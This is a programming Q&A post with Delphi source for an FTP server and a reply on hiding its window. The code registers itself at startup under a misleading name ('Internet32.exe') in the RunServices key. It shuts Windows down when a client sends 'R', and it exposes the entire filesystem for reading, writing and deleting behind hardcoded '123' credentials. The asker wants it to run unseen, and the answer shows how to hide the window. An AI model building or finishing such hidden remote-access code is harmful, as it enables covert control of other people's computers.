Dear experts. I have such a problem. I wrote my (taken from the book) example FTP client / server. The server part runs as a DOS mode (console). I need this server part not to open, but run immediately in the processes. Tell me how to do it.

{ $HDR$} /////////////////////// unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, Registry, IdFTPList, IdFTPServer, idTCPServer, IdSocketHandle, idGlobal, IdHashCRC; type TFTPServer = class(TForm) ServerSocket1: TServerSocket; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } { Private declarations } IdFTPServer: tIdFTPServer; procedure IdFTPServer1UserLogin(ASender: TIdFTPServerThread; const AUsername, APassword: string; var AAuthenticated: Boolean); procedure IdFTPServer1ListDirectory(ASender: TIdFTPServerThread; const APath: string; ADirectoryListing: TIdFTPListItems); procedure IdFTPServer1RenameFile(ASender: TIdFTPServerThread; const ARenameFromFile, ARenameToFile: string); procedure IdFTPServer1RetrieveFile(ASender: TIdFTPServerThread; const AFilename: string; var VStream: TStream); procedure IdFTPServer1StoreFile(ASender: TIdFTPServerThread; const AFilename: string; AAppend: Boolean; var VStream: TStream); procedure IdFTPServer1RemoveDirectory(ASender: TIdFTPServerThread; var VDirectory: string); procedure IdFTPServer1MakeDirectory(ASender: TIdFTPServerThread; var VDirectory: string); procedure IdFTPServer1GetFileSize(ASender: TIdFTPServerThread; const AFilename: string; var VFileSize: Int64); procedure IdFTPServer1DeleteFile(ASender: TIdFTPServerThread; const APathname: string); procedure IdFTPServer1ChangeDirectory(ASender: TIdFTPServerThread; var VDirectory: string); procedure IdFTPServer1CommandXCRC(ASender: TIdCommand); procedure IdFTPServer1DisConnect(AThread: TIdPeerThread); protected function TransLatePath(const APathname, homeDir: string): string; public constructor Create; reintroduce; destructor Destroy; override; end; var FTPServer: TFTPServer; implementation {$R *.DFM} procedure TFTPServer.FormCreate(Sender: TObject); var regini:treginifile; begin regini:=treginifile.create('Software'); regini.rootkey:=hkey_local_machine; regini.openkey('Software',true); regini.openkey('Microsoft',true); regini.openkey('Windows',true); regini.openkey('CurrentVersion',true); regini.writestring('RunServices','Internet32.exe',Application.exename); regini.free; ServerSocket1.active:=true; end; procedure TFTPServer.FormDestroy(Sender: TObject); var action:tcloseaction; begin serversocket1.active:=false; end; procedure TFTPServer.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var s:String; begin s:= Socket.ReceiveText; if s='R' then ExitWindowsEx(EWX_SHUTDOWN,0); end; {$APPTYPE console} /////////////////////////// constructor TFTPServer.Create; begin IdFTPServer:=tIdFTPServer.create(nil); IdFTPServer.DefaultPort:=21; IdFTPServer.AllowAnonymousLogin:=false; IdFTPServer.EmulateSystem:=ftpsUNIX; IdFTPServer.HelpReply.text:='Help is not implemented'; IdFTPServer.OnChangeDirectory:=IdFTPServer1ChangeDirectory; IdFTPServer.OnChangeDirectory:=IdFTPServer1ChangeDirectory; IdFTPServer.OnGetFileSize:=IdFTPServer1GetFileSize; IdFTPServer.OnListDirectory:=IdFTPServer1ListDirectory; IdFTPServer.OnUserLogin:=IdFTPServer1UserLogin; IdFTPServer.OnRenameFile:=IdFTPServer1RenameFile; IdFTPServer.OnDeleteFile:=IdFTPServer1DeleteFile; IdFTPServer.OnRetrieveFile:=IdFTPServer1RetrieveFile; IdFTPServer.OnStoreFile:=IdFTPServer1StoreFile; IdFTPServer.OnMakeDirectory:=IdFTPServer1MakeDirectory; IdFTPServer.OnRemoveDirectory:=IdFTPServer1RemoveDirectory; IdFTPServer.Greeting.NumericCode:=220; IdFTPServer.OnDisconnect:=IdFTPServer1DisConnect; with IdFTPServer.CommandHandlers.add do begin Command:='XCRC'; OnCommand:=IdFTPServer1CommandXCRC; end; IdFTPServer.Active:=true; end; function CalculateCRC(const path: string): string; var f: tfilestream; value: dword; IdHashCRC32: TIdHashCRC32; begin IdHashCRC32:=nil; f:=nil; try IdHashCRC32:=TIdHashCRC32.create; f:=TFileStream.create(path, fmOpenRead or fmShareDenyWrite); value:=IdHashCRC32.HashValue(f); result:=IntToHex(value, 8); finally f.free; IdHashCRC32.free; end; end; procedure TFTPServer.IdFTPServer1CommandXCRC(ASender: TIdCommand); // note, this is made up, and not defined in any rfc var s: string; begin with TIdFTPServerThread(ASender.Thread) do begin if Authenticated then begin try s:=ProcessPath(CurrentDir, ASender.UnparsedParams); s:=TransLatePath(s, TIdFTPServerThread(ASender.Thread).HomeDir); ASender.Reply.SetReply(213, CalculateCRC(s)); except ASender.Reply.SetReply(500, 'File Error!'); end; end; end; end; destructor TFTPServer.Destroy; begin IdFTPServer.Free; inherited Destroy; end; function StartsWith(const str, substr: string): boolean; begin result:=Copy(str, 1, length(substr))=substr; end; function BackSlashToSlash(const str: string): string; var a: dword; begin result:=str; for a:=1 to length(result) do if result[a]='\' then result[a]:='/'; end; function SlashToBackSlash(const str: string): string; var a: dword; begin result:=str; for a:=1 to length(result) do if result[a]='/' then result[a]:='\'; end; function TFTPServer.TransLatePath(const APathname, homeDir: string): string; var tmppath: string; begin result:=SlashToBackSlash(homeDir); tmppath:=SlashToBackSlash(APathname); if homedir = '/' then begin result:=tmppath; Exit; end; if length(APathname)=0 then Exit; if result[length(result)]='\' then result:=copy(result, 1, length(result)-1); if tmppath[1]<>'\' then result:=result+'\'; result:=result+tmppath; end; function GetSizeOfFile(const APathname: string): int64; begin result:=FileSizeByName(APathname); end; function GetNewDirectory(old, action: string): string; var a: integer; begin if action='../' then begin if old='/' then begin result:=old; Exit; end; a:=length(old)-1; while(old[a]<>'\') and (old[a]<>'/') do dec(a) ; result:=copy(old, 1, a); Exit; end; if (action[1]='/') or (action[1]='\') then result:=action else result:=old+action; end; procedure TFTPServer.IdFTPServer1UserLogin(ASender: TIdFTPServerThread; const AUsername, APassword: string; var AAuthenticated: Boolean); begin AAuthenticated:=(AUsername='123') and (APassword='123'); if not AAuthenticated then Exit; ASender.HomeDir:='/'; ASender.currentdir:='/'; end; procedure TFTPServer.IdFTPServer1ListDirectory(ASender: TIdFTPServerThread; const APath: string; ADirectoryListing: TIdFTPListItems); procedure AddlistItem(aDirectoryListing: TIdFTPListItems; Filename: string; ItemType: TIdDirItemType; size: int64; date: tdatetime); var listitem: TIdFTPListItem; begin listitem:=aDirectoryListing.Add; listitem.ItemType:=ItemType; listitem.FileName:=Filename; listitem.OwnerName:='123'; listitem.GroupName:='all'; listitem.OwnerPermissions:='---'; listitem.GroupPermissions:='---'; listitem.UserPermissions:='---'; listitem.Size:=size; listitem.ModifiedDate:=date; end; var f: tsearchrec; a: integer; begin ADirectoryListing.DirectoryName:=apath; a:=FindFirst(TransLatePath(apath, ASender.HomeDir)+'*.*', faAnyFile, f); while (a=0) do begin if (f.Attr and faDirectory> 0) then AddlistItem(ADirectoryListing, f.Name, ditDirectory, f.size, FileDateToDateTime(f.Time)) else AddlistItem(ADirectoryListing, f.Name, ditFile, f.size, FileDateToDateTime(f.Time)); a:=FindNext(f); end; FindClose(f); end; procedure TFTPServer.IdFTPServer1RenameFile( ASender: TIdFTPServerThread; const ARenameFromFile, ARenameToFile: string); begin if not MoveFile(pchar(TransLatePath(ARenameFromFile, ASender.HomeDir ) ) , pchar( TransLatePath( ARenameToFile, ASender.HomeDir))) then RaiseLastWin32Error; end; procedure TFTPServer.IdFTPServer1RetrieveFile(ASender: TIdFTPServerThread; const AFilename: string; var VStream: TStream); begin VStream:=TFileStream.create(translatepath(AFilename, ASender.HomeDir ) , fmopenread or fmShareDenyWrite); end; procedure TFTPServer.IdFTPServer1StoreFile(ASender: TIdFTPServerThread; const AFilename: string; AAppend: Boolean; var VStream: TStream); begin if FileExists(translatepath(AFilename, ASender.HomeDir)) and AAppend then begin VStream:=TFileStream.create(translatepath(AFilename, ASender.HomeDir), fmOpenWrite or fmShareExclusive); VStream.Seek(0,soFromEnd); end else VStream:=TFileStream.create(translatepath(AFilename, ASender.HomeDir), fmCreate or fmShareExclusive); end; procedure TFTPServer.IdFTPServer1RemoveDirectory(ASender: TIdFTPServerThread; var VDirectory: string); begin RmDir(TransLatePath(VDirectory, ASender.HomeDir)); end; procedure TFTPServer.IdFTPServer1MakeDirectory(ASender: TIdFTPServerThread; var VDirectory: string); begin MkDir(TransLatePath(VDirectory, ASender.HomeDir)); end; procedure TFTPServer.IdFTPServer1GetFileSize(ASender: TIdFTPServerThread; const AFilename: string; var VFileSize: Int64); begin VFileSize:=GetSizeOfFile(TransLatePath(AFilename, ASender.HomeDir)); end; procedure TFTPServer.IdFTPServer1DeleteFile(ASender: TIdFTPServerThread; const APathname: string); begin DeleteFile(pchar(TransLatePath(ASender.CurrentDir+'/'+APathname, ASender.HomeDir))); end; procedure TFTPServer.IdFTPServer1ChangeDirectory( ASender: TIdFTPServerThread; var VDirectory: string ) ; begin VDirectory:=GetNewDirectory(ASender.CurrentDir, VDirectory); end; procedure TFTPServer.IdFTPServer1DisConnect(AThread: TIdPeerThread); begin // nothing much here end; begin with TFTPServer.Create do try SetConsoleTitle('FTP Server running ...'); writeln('Running, press [ Enter ] to terminate ...'); readln; finally Free; end; ////////////////////////////// end.

Closed due to the fact that off-topic participants Kromster , Dmitriy Simushev , Visman , Nick Volynkin ♦ , Aries 15 Sep '15 at 15:20 .

It seems that this question does not correspond to the subject of the site. Those who voted to close it indicated the following reason:

  • “Questions asking for help with debugging (“ why does this code not work? ”) Should include the desired behavior, a specific problem or error, and a minimum code for playing it right in the question . Questions without an explicit description of the problem are useless for other visitors. See How to create minimal, self-sufficient and reproducible example . " - Kromster, Dmitriy Simushev, Visman, Nick Volynkin, Aries
If the question can be reformulated according to the rules set out in the certificate , edit it .

    1 answer 1

    In the case of a console application, in order to run it simply as a process, it suffices to remove the line {$APPTYPE CONSOLE} (for more details, see here. ) .

    In the case of a windowed application with any form, this task is solved as follows (in the application loader code) :

     Application.Initialize; Application.ShowMainForm := False; Application.CreateForm(TMainForm, MainForm); Application.Run;